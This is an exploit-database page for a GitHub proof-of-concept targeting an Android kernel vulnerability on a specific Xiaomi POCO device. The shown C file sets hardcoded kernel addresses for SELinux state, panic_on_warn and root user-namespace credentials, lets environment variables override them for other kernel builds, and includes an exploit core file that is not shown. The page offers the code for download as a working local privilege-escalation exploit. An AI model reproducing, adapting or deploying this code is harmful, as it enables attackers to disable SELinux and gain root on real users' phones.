Exploit database

GH-deca40b168339536a742a6e53aaaec86

cyb3r0id694/shark-moto

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98260

61 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files18
cyb3r0id694/shark-motoRevision 8ddbb6ecad3f

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/src/K61230_plant.c

C · 3,102 bytes
/* Xiaomi POCO 2409FPCC4I (beryl), kernel 6.12.30 (android16-5). */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define TARGET_KERNEL_RELEASE "6.12.30-android16-5-g1ed949324a3e-ab13881345-4k"

static unsigned long long _timer_site = 0xffffffc0801e1a14ULL;
static unsigned long long _timer_low21 = 0x1e1a14ULL;
static unsigned long long _selinux_state = 0xffffffc0826784b8ULL;
static unsigned long long _panic_on_warn = 0xffffffc0823eafe0ULL;
static unsigned long long _copy_low21 = 0x0d1598ULL;
static unsigned long long _root_user = 0xffffffc0824117a0ULL;
static unsigned long long _init_user_ns = 0xffffffc082411528ULL;
static unsigned long long _init_ucounts = 0xffffffc082413138ULL;
static unsigned long long _init_groups = 0xffffffc082412c68ULL;
static unsigned long long _site_mask = 0xffffULL;

#define STATIC_TIMER_SITE (_timer_site)
#define TIMER_SITE_LOW21 (_timer_low21)
#define SELINUX_STATE_STATIC (_selinux_state)
#define PANIC_ON_WARN_STATIC (_panic_on_warn)
#define COPY_PROCESS_LOW21 (_copy_low21)
#define ROOT_USER_STATIC (_root_user)
#define INIT_USER_NS_STATIC (_init_user_ns)
#define INIT_UCOUNTS_STATIC (_init_ucounts)
#define INIT_GROUPS_STATIC (_init_groups)
#define SITE_MASK (_site_mask)

static unsigned long long dyn_env_u64(const char *name)
{
    const char *v = getenv(name);
    if (!v || !*v)
        return 0;
    return strtoull(v, NULL, 0);
}

static int profile_check(const char *release)
{
    if (!strcmp(release, TARGET_KERNEL_RELEASE)) {
        printf("PROFILE_61230=%s\n", release);
        return 0;
    }

    {
        const char *en = getenv("PYB110_DYNAMIC_PROFILE");
        if (en && strcmp(en, "1") == 0) {
            unsigned long long ts = dyn_env_u64("PYB110_TIMER_SITE");
            unsigned long long tl = dyn_env_u64("PYB110_TIMER_LOW21");
            unsigned long long se = dyn_env_u64("PYB110_SELINUX_STATE");
            unsigned long long cl = dyn_env_u64("PYB110_COPY_LOW21");
            unsigned long long sm = dyn_env_u64("PYB110_SITE_MASK");
            if (ts && se) {
                _timer_site = ts;
                _timer_low21 = tl ? tl : (ts & 0x1fffffULL);
                _selinux_state = se;
                _panic_on_warn = dyn_env_u64("PYB110_PANIC_ON_WARN");
                _copy_low21 = cl;
                _site_mask = sm ? sm : 0xffffULL;
                _init_user_ns = dyn_env_u64("PYB110_INIT_USER_NS");
                _root_user = dyn_env_u64("PYB110_ROOT_USER");
                if (!_root_user && _init_user_ns)
                    _root_user = _init_user_ns + 0x290ULL;
                _init_ucounts = dyn_env_u64("PYB110_INIT_UCOUNTS");
                if (!_init_ucounts && _init_user_ns)
                    _init_ucounts = _init_user_ns + 0x1B18ULL;
                _init_groups = dyn_env_u64("PYB110_INIT_GROUPS");
                if (!_init_groups && _init_user_ns)
                    _init_groups = _init_user_ns + 0x15B0ULL;
                printf("PROFILE_61230_DYN=%s\n", release);
                return 0;
            }
        }
    }
    return -1;
}

#include "plant_core.inc"